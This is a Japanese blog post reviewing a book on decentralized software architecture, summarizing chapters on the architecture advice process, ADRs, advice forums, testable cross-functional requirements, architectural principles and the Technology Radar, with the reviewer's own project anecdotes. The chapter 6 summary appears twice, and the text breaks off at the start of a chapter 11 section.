Nygardの5つの基準を採用します。構造への影響・非機能特性への影響・依存関係への影響・インターフェースへの影響・構築技術への影響です。この基準は実践的で分かりやすく私も日々の意思決定の判断に活用しています。cognitect.comアーキテクチャ的に重要な決定の特定著者は更に一歩踏み込んでアーキテクチャ的に重要な決定の基準を提示します。重要なのは運用環境へのデプロイとの関係です。どんなに優れた設計も実際に動作するまでは単なる仮説に過ぎません。デプロイを阻害する決定は常に重要です。以前関わったプロジェクトでは理想的なアーキテクチャを追求するあまりデプロイが困難になり結果として価値の提供が遅れるという失敗を経験しました。意思決定者の多様性著者はアーキテクチャ決定は必ずしもアーキテクトだけのものではないという重要な指摘を行います。開発者やQAエンジニアも重要なアーキテクチャ決定を行う可能性があります。この視点は伝統的なアーキテクチャ実践からの大きな転換を示唆します。私の現在のプロジェクトでもチームメンバー全員がアーキテクチャ決定に関与する文化を築いています。その結果より良い決定が行われるだけでなくチームの当事者意識も高まっています。意思決定プロセスの重要性著者は意思決定のプロセスよりも結果の重要性を強調します。長時間の検討や意図的な決定であることは必ずしも良い決定を保証しません。むしろ迅速な決定と実践からのフィードバックの方が重要な場合が多いのです。この指摘は私の実務経験とも一致します。完璧な決定を目指して時間をかけるよりも早期に実践し改善を重ねる方が良い結果につながることを何度も経験してきました。結論本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。アーキテクチャ決定の判断基準とデプロイとの関係の2点は重要です。これらの基準を用いることで意思決定の質と速度の両方を改善できます。一方で組織の規模や文化によってはこれらの原則の適用が難しい場合もあります。その場合は段階的な導入や既存のプロセスとの調和を図る必要があるでしょう。結論として本章はアーキテクチャ実践における意思決定の本質を明確に示し実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組織において極めて重要な意味を持ちます。Chapter 3. Decisions at Scale第3章「Decisions at Scale」は組織規模でのアーキテクチャ意思決定プロセスを詳細に分析します。著者は意思決定の本質的な構造を明らかにし標準的な意思決定アプローチの特徴と限界を示しています。現代の分散化されたソフトウェア開発環境における意思決定プロセスの要件について深い洞察を提供します。パーフェクトな意思決定――「決める瞬間」の思考法作者:安藤広大ダイヤモンド社Amazon意思決定プロセスの基本構造著者は意思決定プロセスをオプションの生成と決定の実行と決定の共有という3つの要素に分解します。この単純な分析枠組みは実務上極めて有用です。私も以前関わったマイクロサービスプロジェクトで同様の枠組みを用いて意思決定プロセスを整理しました。重要なのは決定の共有です。いかに優れた決定でも共有が適切に行われなければ無意味です。チーム間のコミュニケーション不足により優れた設計判断が台無しになるケースを何度も目にしてきました。Figure 3-1. A naive view of a generic decision process (“deciding”) in context (the required need for the decision and the subsequent implementation of the result) より引用標準的な意思決定プロセスとその限界著者は意思決定プロセスを中央集権型と分散型に大別します。中央集権型には独裁的・委任型・諮問型があり分散型には合意型・民主型・コンセンサス型があります。多くの組織が中央集権型と分散型のハイブリッドなアプローチを採用します。例えば技術選定は諮問型で行いながら実装の詳細はチームに委ねるといった具合です。意思決定プロセスの文化的基盤意思決定プロセスを考える際に重要なのは、その文化的基盤への理解です。渡邊雅子の『論理的思考とは何か』では、論理的思考が領域ごとに異なる形を取ることを指摘しています。この知見は、アーキテクチャ意思決定プロセスを設計する上で重要な示唆を与えます。経済領域では効率性を重視した思考が、政治領域では合意形成を重視した思考が特徴的です。また、法技術領域では規範性を重視した思考が、社会領域では共感を重視した思考が中心となります。例えば、マイクロサービスアーキテクチャの採用を検討する際、効率性(コストとパフォーマンス)、合意形成(各部門の利害調整)、規範性(セキュリティ要件)、共感(チームの受容性)という異なる観点からの評価が必要になります。アーキテクチャの意思決定プロセスを設計する際は、これらの文化的な思考パターンを状況に応じて適切に組み合わせることが重要です。特に日本の組織においては、共感による推理と配慮的な表現を重視する社会領域のアプローチを適切に取り入れることで、より効果的な意思決定が可能になります。論理的思考とは何か (岩波新書)作者:渡邉 雅子岩波書店Amazon意思決定プロセスの要件著者は意思決定プロセスの4つの要件を示します。適切な人々の関与・決定権の最適化・信頼の重視・共有の最小化です。これらの要件は私の実務経験とも合致します。以前のプロジェクトで決定権を完全に分散化したことで意思決定が遅くなり逆に集中化し過ぎて柔軟性を失うという両極端な失敗を経験しました。実践的な示唆本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。意思決定プロセスの選択基準と共有方法の工夫は重要です。私の現在のプロジェクトでは決定のスコープに応じて異なるプロセスを使い分けています。マイクロサービス間のインターフェース設計は合意型で行う一方サービス内部の実装は各チームに委ねるといった具合です。結論著者はスピードと分散化を両立する新しい意思決定プロセスの可能性を示唆して締めくくっています。この視点は極めて重要です。私も組織の規模や文化に応じて柔軟にプロセスを適応させることが重要だと考えています。一つの正解はなく文脈に応じた適切な選択が必要です。結論として本章は意思決定プロセスの本質を明らかにし実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組織において極めて重要な意味を持ちます。Chapter 4. The Architecture Advice Process第4章「The Architecture Advice Process」はアーキテクチャ意思決定のアプローチを提案します。アドバイスプロセスと呼ばれるこのアプローチは高速な意思決定と権限の分散化を両立します。著者は具体的な事例を通じてこのプロセスの実践方法と効果を示しています。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazonアドバイスプロセスの本質著者は意思決定プロセスの根本的な変革としてアドバイスプロセスを提案します。このプロセスの核心は誰もが意思決定を開始できるという点です。意思決定の集中化は開発の大きなボトルネックとなってきました。アドバイスプロセスでは決定者は2つのグループから助言を求める必要があります。影響を受ける関係者とその領域の専門家です。これは単なる形式的な手続きではなく社会的な契約として機能します。実践例による理解著者は2つの具体例を通じてアドバイスプロセスを説明します。1つ目は開発チームがリリーストグルを導入する事例です。チームは関係者や専門家から助言を得ることで当初の設計を大きく改善しました。私も似たような経験をしています。以前のプロジェクトでフィーチャートグルの導入を決めた際に様々な関係者の意見を聞くことで運用面の課題を事前に把握できました。アドバイスの本質著者はアドバイスは方向性と理由の組み合わせだと説明します。単なる意見との違いは理由の有無です。この視点は極めて重要です。理由を伴わない意見は意思決定の改善につながりません。理由のない意見は混乱を招くだけでした。「このフレームワークを使うべき」という意見より「このフレームワークならこういう理由でこの課題が解決できる」というアドバイスの方が遥かに有用でした。信頼の重要性アドバイスプロセスの成功は信頼関係にかかっています。著者は信頼を築くためには対話が重要だと指摘します。これは私の実務経験とも合致します。信頼はどの職種にも重要である。信頼がない職場では仕事ができないのは万国で共通なのである。対話を通じて相互理解を深めることで初めて有意義なアドバイスが可能になります。一方的な意見の押し付けは避けるべきです。syu-m-5151.hatenablog.com結論アドバイスプロセスは組織文化も変革します。従来型のアーキテクチャ実践では意思決定権限が集中することで様々な歪みが生じていました。アドバイスプロセスはこの問題を解決します。私の組織でもアドバイスプロセスの導入後はチーム間のコミュニケーションが活発になり意思決定のスピードも向上しました。結論として本章はアジャイルな開発環境に適した新しいアーキテクチャ実践を提案しています。アドバイスプロセスは意思決定の民主化と効率化を両立する優れたアプローチです。これからのソフトウェア開発組織にとって重要な示唆を含んでいます。Chapter 5. Rolling Out the Architecture Advice Process第5章「Rolling Out the Architecture Advice Process」はアドバイスプロセスの具体的な導入方法について解説します。著者は現在の組織的立場に応じた3つの導入アプローチを示し導入時の課題と対処法を詳細に説明しています。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか (日本経済新聞出版)作者:宇田川元一日経BPAmazon導入アプローチの選択著者は導入アプローチを現在の意思決定権限に基づいて分類します。アーキテクトとして意思決定権を持つ場合は自身の実践から始めます。開発チームとして権限がない場合は実験的な試行から始めます。この分類は的確です。以前関わったプロジェクトでは権限を持つアーキテクトから導入を始めることで組織全体への浸透がスムーズでした。段階的な導入の重要性著者は小規模な実験からスタートすることを強く推奨します。これは組織の文化や既存のプロセスに大きな変更を加えるためです。実験を通じて課題を早期に発見し対処することが重要です。この指摘は極めて実践的です。私も大規模な変更を一度に行って混乱を招いた経験があります。段階的なアプローチは確実な導入につながります。初期の課題への対応著者は導入初期に直面する主な課題として4つを挙げます。プロセスの誤解、適切な助言者の選定漏れ、Why?の問いかけ不足、責任の所在の不明確さです。これらの課題は私も度々遭遇します。チームが自律的に判断を行う文化への移行には慎重なケアが必要です。信頼の構築著者は信頼関係の構築がプロセスの成功に不可欠だと指摘します。自身と他者の判断能力への信頼、アドバイスの授受への信頼、全体状況の把握への信頼が重要です。私の組織でも信頼関係の醸成に注力しています。定期的な振り返りと成功体験の共有が効果的でした。結論本章の内容は極めて実践的な示唆に富んでいます。導入時のチェックリストは有用です。組織の専門家マップを整備することでアドバイスプロセスがより効果的になります。私の現在のプロジェクトでもこのアプローチを採用しています。各領域の専門家を明確化することで適切なアドバイスを得やすくなりました。結論として本章はアドバイスプロセスの実践的な導入方法を提供しています。組織の現状に応じた段階的な導入と信頼関係の構築に焦点を当てた著者の提案は極めて妥当です。次章で説明される「アーキテクチャ決定記録」と組み合わせることで更に効果的な実践が可能になるでしょう。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するための実践的なアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。百年の孤独 (新潮文庫 カ 24-2)作者:ガブリエル・ガルシア=マルケス新潮社AmazonADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsとDesign docsの違いここでADRsとよく比較されるDesign docsとの主な違いを整理しておくことは有用でしょう。両者は一見似ているように見えますが、その目的と特性は大きく異なります。tkybpp.hatenablog.comADRsは個々の重要な技術的決定に焦点を当て、その決定に至った背景と理由を時系列で記録します。例えば「なぜKafkaではなくRabbitMQを選択したのか」「どうしてMongoDBを採用したのか」といった具体的な決定事項とその文脈を残します。一度記録された決定は変更せず、新しい決定を追加することで履歴を形成していきます。一方、Design docsはシステム全体やコンポーネントの設計を包括的に説明することを目的とします。技術的な設計の詳細、アーキテクチャの全体像、実装方針などを広く扱い、システムの各部分の関係性を示します。Design docsは必要に応じて更新され、常に現在の設計状態を反映するように維持されます。この違いは実務上重要な意味を持ちます。あるマイクロサービス開発プロジェクトでは、Design docsでシステム全体のアーキテクチャや各サービスの役割、データフローを説明する一方で、ADRsでは個別の技術選定の決定と理由を記録していました。両者は補完関係にあり、大規模なプロジェクトでは両方を併用することで、設計の全体像と重要な決定の経緯の両方を効果的に残すことができます。このように、ADRsはDesign docsと異なり、意思決定のプロセスと理由を明確に記録することに特化しています。この特徴は、後述する「意思決定の全プロセスをサポート」という役割と密接に結びついています。他にも技術ドキュメントはあるのですが全体を探るにはこちらがオススメです。技術文書の書き方 \xb7 GitHubADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。Figure 6-1の意思決定プロセスの図は印象的です。ADRsが意思決定のどの段階でどのように活用されるかを明確に示しています。この図は実際の導入時のガイドとしても有用です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するためのアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。ADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Part II. Nurturing and Evolving Your Culture of Decentralized TrustPart II. Nurturing and Evolving Your Culture of Decentralized Trustは、分散型アーキテクチャにおける組織文化の育成と発展に焦点を当てたパートです。Part Iで示したアドバイスプロセスとADRsを基盤として、それらを実効性のある仕組みへと成長させるために必要な要素を解説します。従来のヒエラルキー型組織から信頼ベースの分散型組織への移行における権限とガバナンスの再構築から始まり、その実現を支援する具体的な仕組みを提示します。特徴的なのはアーキテクチャ・アドバイスフォーラム、クロスファンクショナル要件、技術戦略、アーキテクチャ原則、テクノロジーレーダーといった支援要素の導入です。これらは一見シンプルですが、組織の状況に応じて柔軟に適用・進化させることができる実践的なツールです。このパートは、分散型アーキテクチャの実践に不可欠な信頼の文化を育むための具体的なアプローチを提供します。組織の一貫性を保ちながら分散型の意思決定を実現する方法を学ぶことができます。Chapter 7. Replacing Hierarchy with Decentralized Trust第7章「Replacing Hierarchy with Decentralized Trust」は、組織の階層構造を分散化された信頼関係へと転換する過程について詳細に解説しています。この章を通じて著者は、アーキテクチャの実践における信頼の重要性と、その育成・維持に必要な要素を具体的に示しています。変化を起こすリーダーはまず信頼を構築する 生き残る組織に変えるリーダーシップ作者:Frances Frei(フランシス・フライ),Anne Morriss(アン・モリス)日本能率協会マネジメントセンターAmazon信頼に基づく意思決定への転換アーキテクチャ・アドバイスプロセスは従来の階層的な意思決定構造を根本から変革します。意思決定の責任と説明責任を再分配し、より分散的で柔軟な組織構造を実現します。この転換は組織に大きな変化をもたらします。あるプロジェクトでは、従来のアーキテクチャ・レビューボードを廃止し、アドバイスプロセスへの移行を実施しました。当初は混乱もありましたが、チーム間のコミュニケーションが活発になり意思決定のスピードが大幅に向上しました。信頼文化の醸成著者は信頼文化の育成が不可欠だと主張します。信頼は自然に生まれるものではなく、意識的な取り組みが必要です。組織の規模が大きくなるにつれて、信頼関係の維持は難しくなります。とある案件では週次の振り返りミーティングを設け、意思決定プロセスの透明性を確保しています。これにより、チームメンバー同士の信頼関係が強化され、より良い意思決定が可能になりました。フロー重視のマインドセット著者はフローを重視するマインドセットの重要性を強調します。Netflixの事例を引用しながら、不必要な規則や承認プロセスを排除することの意義を説明します。実際のプロジェクトでも、過度な承認プロセスがボトルネックとなっていた経験があります。アドバイスプロセスの導入により、意思決定のフローが改善され、開発のスピードが向上しました。信頼の維持と成長組織の成長とともに信頼関係を維持することは困難になります。著者は小規模なチームから大規模な組織への移行過程で起こる課題を詳細に分析します。あるプロジェクトでは、チームの規模拡大に伴い、非公式なクリークが形成され始めました。この問題に対して、定期的な1on1ミーティングとフィードバックセッションを導入することで、信頼関係の維持に成功しました。信頼を支える要素著者は信頼関係を支える追加的な要素について言及します。これにはアーキテクチャ・アドバイスフォーラムや検証可能なCFRなどが含まれます。これらの要素は組織の状況に応じて選択的に導入することが重要です。とある案件では技術レーダーを導入し、技術選定の透明性を確保しています。これにより、チーム間の知識共有が促進され、より良い意思決定が可能になりました。確実性と予測可能性の誘惑著者は確実性と予測可能性への執着に警鐘を鳴らします。これは組織が官僚主義に陥る主要な原因となります。私も以前、過度な標準化により柔軟性を失ったプロジェクトを経験しています。実験的アプローチの重要性著者は継続的な実験とフィードバックの重要性を強調します。これは組織学習の核心です。とある案件でも小規模な実験から始め、成功事例を徐々に拡大するアプローチを採用しています。結論この章は、分散化された信頼に基づくアーキテクチャ実践への移行について、実践的な指針を提供しています。組織の成長に伴う信頼関係の変化と、それに対する対応策の重要性は印象的でした。これらの知見は、現代のソフトウェア開発組織に重要な示唆を与えます。技術の進化とともに組織構造も進化が必要です。分散化された信頼関係に基づく意思決定プロセスは、その進化の重要な一歩となるでしょう。今後の課題としては、リモートワークの普及に伴う信頼関係の構築方法や、グローバル組織における文化的な違いへの対応などが考えられます。これらの課題に対しても、本章で示された原則は有効な指針となるはずです。Chapter 8. An Architecture Advice Forum第8章「An Architecture Advice Forum」は、アーキテクチャ・アドバイスプロセスを支援する重要なツールとしてのアーキテクチャ・アドバイスフォーラムについて詳細に解説しています。この章を通じて、著者は定期的な対話の場がアーキテクチャ意思決定の質を向上させ、組織の信頼関係を強化する方法を具体的に示しています。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonアドバイスフォーラムの本質アーキテクチャ・アドバイスフォーラムは単なる会議ではありません。それは意思決定プロセスを透明化し信頼関係を構築する場です。従来のアーキテクチャレビューボードとは異なり、承認プロセスではなく対話を重視します。このフォーラムの導入により意思決定の質が劇的に向上しました。あるプロジェクトでは、マイクロサービスアーキテクチャへの移行を決定する際にアドバイスフォーラムを活用し、多様な視点からの意見を集約できました。フォーラムの構造と運営フォーラムはシンプルな構造を持ちます。新規の決定案件に対するアドバイス、既存の決定のステータス確認、そしてその他の事項という基本的な議題構成です。このシンプルさが参加者の集中力を高め、本質的な議論を可能にします。実際の運用では定期的な開催が重要です。週次や隔週での開催が一般的ですが、組織の規模や文化に応じて調整が必要です。とある案件では週次開催を採用し、必要に応じて臨時セッションも設けています。協調的な議論の促進従来の対立的な議論から協調的な対話へのシフトがアドバイスフォーラムの特徴です。参加者は意見を戦わせるのではなく、共通の課題解決に向けて知見を共有します。Figure 8-1は従来の一対一のアドバイス形式と、フォーラム形式の違いを明確に示しています。フォーラムでは複数の視点が同時に共有され、より豊かな議論が可能になります。Figure 8-1. Comparing the interaction modes of the “no advice forum” approach (multiple, one-to-one serial interactions, one after another) with the “advice forum” alternative (multiple conversations, all in the same forum, with an audience of other advice offerers as well as nonadvising, learning observers) より引用信頼関係の構築アドバイスフォーラムは信頼関係の構築に大きく貢献します。定期的な対話を通じて、チーム間の理解が深まり、組織全体の凝集性が高まります。このフォーラムを通じて部門間の壁が徐々に低くなっていきました。実践的な導入方法フォーラムの導入は段階的に行うべきです。まず小規模なグループで実験的に開始し、成功事例を積み重ねていくアプローチが効果的です。初期段階では明確な目的と期待値を設定することが重要です。とある案件では最初の3ヶ月を試験期間として設定し、参加者からのフィードバックを基に継続的な改善を行いました。この経験から、フォーラムの形式は組織の文化に合わせて柔軟に調整すべきだと学びました。組織的な影響フォーラムは組織文化の変革をもたらします。透明性の向上は信頼関係を強化し、より良い意思決定を可能にします。また、新しいメンバーの参加障壁を下げ、知識共有を促進します。結論アーキテクチャ・アドバイスフォーラムは、現代のソフトウェア開発組織に不可欠なツールです。透明性と信頼を基盤とした意思決定プロセスは、より良いアーキテクチャの実現と組織の成長を支援します。今後の課題としては、リモートワーク環境でのフォーラムの効果的な運営や、大規模組織での展開方法の確立が挙げられます。しかし、フォーラムの基本原則を理解し適切に適用すれば、これらの課題も克服できるはずです。このフォーラムは組織の成熟度を高める強力な触媒となります。アーキテクチャ設計の質を向上させるだけでなく、エンジニアリング組織全体の協調性と創造性を高める効果があります。Chapter 9. Testable CFRs and Technology Strategy第9章「Testable CFRs and Technology Strategy」は、組織の技術的アラインメントを実現するための2つの重要な要素について詳細に解説しています。著者はテスト可能なCFR(Cross-Functional Requirements)と技術戦略を通じて、効果的な組織アラインメントを実現する方法を具体的に示しています。組織アラインメントの本質組織のアラインメントは単なる技術的な整合性以上のものです。多くの組織が技術的な標準化のみに注力し、ビジネス目標との整合性を見失いがちです。実際のプロジェクトでは、技術的な方向性は揃っていても組織の目標達成に寄与していないケースをよく目にします。あるプロジェクトでは、マイクロサービスアーキテクチャの採用により技術的な統一は図れましたが、サービスの分割粒度が業務の実態と合わず、結果として開発効率の低下を招きました。テスト可能なCFRの重要性著者はテスト可能なCFRの必要性を強調しています。CFRはシステム全体に横断的に適用される要件を明確にします。重要なのは、これらの要件が具体的でテスト可能な形で記述されることです。とある案件では、パフォーマンス要件を具体的な数値で定義し、自動テストで継続的に検証できるようにしました。「レスポンスタイムは500ms以内」といった曖昧な表現ではなく、「95%のリクエストが500ms以内、99%が800ms以内に完了すること」と明確に定義することで、チーム間の認識の違いを解消できました。技術戦略の役割技術戦略は組織の方向性を示す重要なツールです。著者は技術戦略を「組織のビジョンと目標達成に向けた技術的な選択と投資判断のフレームワーク」と定義しています。多くの組織が技術戦略を単なる技術選定の指針として扱いがちです。しかし、より重要なのは「何を選択しないか」の明確化です。あるプロジェクトでは、特定のクラウドプロバイダーに限定することで、運用負荷の軽減とコスト最適化を実現できました。ミニマルバイアブルアグリーメント著者は必要最小限の合意の重要性を強調します。これはCFRと技術戦略の両方に適用される概念です。過剰な標準化や制約は組織の柔軟性を損なう一方、不十分な合意は混乱を招きます。とある案件では「最小驚き原則」を採用し、チーム間で予期せぬ違いが発生していないかを定期的にチェックしています。これにより、必要な標準化と柔軟性のバランスを維持できています。戦略的投資の重要性著者は技術戦略を「言葉だけでなく投資」として具現化することを推奨します。これは共有サービスの形で実現されることが多いです。セルフサービス型のインフラストラクチャプラットフォームの提供が効果的でした。各チームが独自のインフラを構築・運用するのではなく、標準化されたプラットフォームを利用することで、開発効率の向上とコスト削減を実現できました。結論CFRと技術戦略は組織アラインメントを実現する上で不可欠なツールです。これらを適切に組み合わせることで、組織は効率的かつ効果的な意思決定が可能になります。しかし、これらのツールの導入には慎重なアプローチが必要です。組織の規模や文化に応じて、段階的な導入と継続的な改善が重要です。今後は、分散開発やクラウドネイティブアーキテクチャの普及に伴い、より柔軟で適応性の高いCFRと技術戦略の在り方が求められるでしょう。技術の進化に合わせて、これらのフレームワークも進化させていく必要があります。Chapter 10. Collectively Sourced Architectural Principles第10章「Collectively Sourced Architectural Principles」は、組織全体で共有されるアーキテクチャ原則の策定と維持について解説しています。この章を通じて著者は、アーキテクチャ原則が単なるドキュメントではなく、組織の技術戦略を実現するための重要な指針となることを示しています。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazonアーキテクチャ原則の本質アーキテクチャ原則は組織の技術戦略を具体化する重要なツールです。多くの組織がトップダウンでアーキテクチャ原則を定めようとしますが、そのアプローチでは現場の実態と乖離した形骸化した原則になりがちです。実際のプロジェクトでは、チームメンバー全員で原則を策定することで、より実践的で実効性のある原則を作ることができました。例えばマイクロサービスアーキテクチャの採用において、「チームの独立性を最も重視する」という原則を設定し、サービス間の結合度を最小限に抑えることができました。learning.oreilly.comプリンシプルワークショップの実践著者はプリンシプルワークショップを通じて、組織全体で原則を策定することを推奨しています。重要なのは、参加者の多様性と、戦略的なテーマに基づいた原則の整理です。原則のメンテナンス原則の進化も重要なテーマです。著者は原則を「生きたドキュメント」として捉え、定期的な見直しと更新の必要性を説きます。ADRsを通じて原則の変更を記録し、その背景と理由を明確にすることで、組織の学習を促進できます。クラウドネイティブ化の過程で原則の見直しが必要になりました。「自社のクラウド」という原則に縛られすぎて柔軟性を失っていたため、「適切なクラウドサービスの選択」という原則に更新しました。組織文化との関係著者は原則が組織文化の反映であることを強調します。単なる技術的なガイドラインではなく、組織の価値観とビジョンを体現するものとして位置づけています。私のチームでは原則の策定プロセス自体が、組織文化の変革のきっかけとなりました。チーム間の対話が活発になり、技術的な決定に対する共通理解が深まりました。実践的な適用原則の適用は柔軟であるべきです。著者は原則を「絶対的なルール」ではなく「意思決定の指針」として捉えることを推奨します。これは現代のソフトウェア開発における不確実性に対応する賢明なアプローチです。例えば、あるプロジェクトでは特定の機能実装において原則との衝突が発生しましたが、その状況をADRで明確に記録し、例外的な対応の理由を共有することで、チーム全体の理解を深めることができました。結論アーキテクチャ原則は、組織の技術戦略を実現するための重要なツールです。しかし、その効果を最大限に引き出すためには、全員参加の策定プロセス、定期的な見直し、そして柔軟な適用が不可欠です。今後の課題としては、リモートワーク環境での原則策定ワークショップの実施方法や、グローバル組織での文化的な違いへの対応が挙げられます。しかし、著者が示した基本的なフレームワークは、これらの課題に対しても十分な適用可能性を持っています。Part III. Finding Your Way Through the Decision LandscapeChapter 11. Technology Radar第11章「Using a Technology Radar」は、組織の技術選択と意思決定を支援するためのツールとしてのTechnology Radarについて解説しています。著者は単なる技術トレンドの可視化ツール以上の価値をTechnology Radarに見出し、組織の集合知を活用した意思決定支援の仕組みとして位置づけています。Technology Radarといえばどこかのポッドキャストでt-wadaさんがオススメをしていたのでそこから見始めている(本当に覚えてなくて誰か教えてください⋯)。www.thoughtworks.comTechnology Radarの本質Technology Radarは航空管制のレーダーに似た形式で技術トレンドを可視化します。Thoughtworksが開発したこのツールは技術の採用状況を4つの象限(Tools/Techniques/Platforms/Languages & Frameworks)と4つのリング(Adopt/Trial/Assess/Hold)で表現します。著者はこれを「単なる技術マッピングではなく組織の集合的な経験と知見を凝縮したもの」と説明します。このビジュアライゼーションは一目で技術の位置づけを把握できる優れた特徴を持ちます。「Mermaid」のような新興技術が「Trial」から「Adopt」へ移行する様子や「AWS」が「Adopt」から「Trial」へ後退する変遷など、技術の盛衰を時系列で追跡できます。Technology Radarと意思決定プロセスTechnology Radarは組織の意思決定プロセスと密接に連携します。アーキテクチャ決定記録(ADR)にTechnology Radarのブリップ(技術要素)を参照することで、決定の文脈や根拠を明確にできます。Technology Radarと意思決定プロセスの連携は双方向です。新しい技術の採用決定は新規ブリップの追加につながり、既存技術の評価変更は位置の移動として反映されます。この相互作用により、組織の技術選択の履歴と根拠が透明化されます。組織独自のTechnology Radarの構築著者は組織固有のTechnology Radarの重要性を強調します。社内版Technology Radarでは自社開発のツールやフレームワークもブリップとして登録できます。また象限やリングの定義も組織の文脈に合わせて調整可能です。Technology Radarの作成プロセスもまた重要な価値を持ちます。ブリップの収集から位置づけの決定まで、組織全体を巻き込んだ共創的なプロセスとして設計されています。このプロセス自体が技術に関する組織的な対話と学習の機会となります。継続的な更新と発展Technology 